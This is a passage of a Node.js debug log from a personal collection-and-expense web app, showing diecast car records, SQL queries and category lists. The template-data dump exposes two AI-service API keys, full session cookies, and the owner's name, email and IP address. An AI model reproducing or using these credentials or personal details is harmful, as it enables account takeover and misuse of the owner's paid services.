      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:58:40.054Z server-connect:router Serving templateView /diecast
2026-02-04T04:58:40.054Z server-connect:app Executing action step identify
2026-02-04T04:58:40.054Z server-connect:app options: { provider: 'security' }
2026-02-04T04:58:40.054Z server-connect:output identity: 1
2026-02-04T04:58:40.054Z server-connect:app Executing action step restrict
2026-02-04T04:58:40.055Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T04:58:40.055Z server-connect:output restrict: undefined
2026-02-04T04:58:40.055Z server-connect:router Render template layouts/main
2026-02-04T04:58:40.055Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { manufacturer: '73' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'manufacturer=73',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T04:58:40.965Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T04:58:40.967Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T04:58:40.968Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T04:58:40.969Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T04:58:40.970Z server-connect:app Executing action step identify
2026-02-04T04:58:40.970Z server-connect:app options: { provider: 'security' }
2026-02-04T04:58:40.970Z server-connect:output identity: 1
2026-02-04T04:58:40.970Z server-connect:app Executing action step restrict
2026-02-04T04:58:40.970Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:58:40.971Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:58:40.972Z server-connect:output restrict: undefined
2026-02-04T04:58:41.040Z server-connect:app Executing action step select
2026-02-04T04:58:41.040Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T04:58:41.041Z server-connect:app Executing action step identify
2026-02-04T04:58:41.041Z server-connect:app options: { provider: 'security' }
2026-02-04T04:58:41.041Z server-connect:output identity: 1
2026-02-04T04:58:41.041Z server-connect:app Executing action step restrict
2026-02-04T04:58:41.041Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:58:41.043Z server-connect:app Executing action step identify
2026-02-04T04:58:41.043Z server-connect:app options: { provider: 'security' }
2026-02-04T04:58:41.043Z server-connect:output identity: 1
2026-02-04T04:58:41.043Z server-connect:app Executing action step restrict
2026-02-04T04:58:41.043Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:58:41.044Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T04:58:41.044Z server-connect:app Executing action step identify
2026-02-04T04:58:41.044Z server-connect:app options: { provider: 'security' }
2026-02-04T04:58:41.044Z server-connect:output identity: 1
2026-02-04T04:58:41.044Z server-connect:app Executing action step restrict
2026-02-04T04:58:41.044Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:58:41.045Z server-connect:app Executing action step identify
2026-02-04T04:58:41.045Z server-connect:app options: { provider: 'security' }
2026-02-04T04:58:41.045Z server-connect:output identity: 1
2026-02-04T04:58:41.045Z server-connect:app Executing action step restrict
2026-02-04T04:58:41.045Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:58:41.048Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T04:58:41.050Z server-connect:app Executing action step identify
2026-02-04T04:58:41.050Z server-connect:app options: { provider: 'security' }
2026-02-04T04:58:41.050Z server-connect:output identity: 1
2026-02-04T04:58:41.050Z server-connect:app Executing action step restrict
2026-02-04T04:58:41.050Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:58:41.051Z server-connect:output restrict: undefined
2026-02-04T04:58:41.051Z server-connect:app Executing action step single
2026-02-04T04:58:41.051Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T04:58:41.051Z server-connect:output restrict: undefined
2026-02-04T04:58:41.051Z server-connect:app Executing action step select
2026-02-04T04:58:41.051Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T04:58:41.052Z server-connect:output restrict: undefined
2026-02-04T04:58:41.052Z server-connect:app Executing action step select
2026-02-04T04:58:41.052Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T04:58:41.053Z server-connect:output restrict: undefined
2026-02-04T04:58:41.053Z server-connect:app Executing action step paged
2026-02-04T04:58:41.053Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:58:41.055Z server-connect:output restrict: undefined
2026-02-04T04:58:41.055Z server-connect:app Executing action step select
2026-02-04T04:58:41.055Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T04:58:41.056Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T04:58:41.057Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-04T04:58:41.060Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
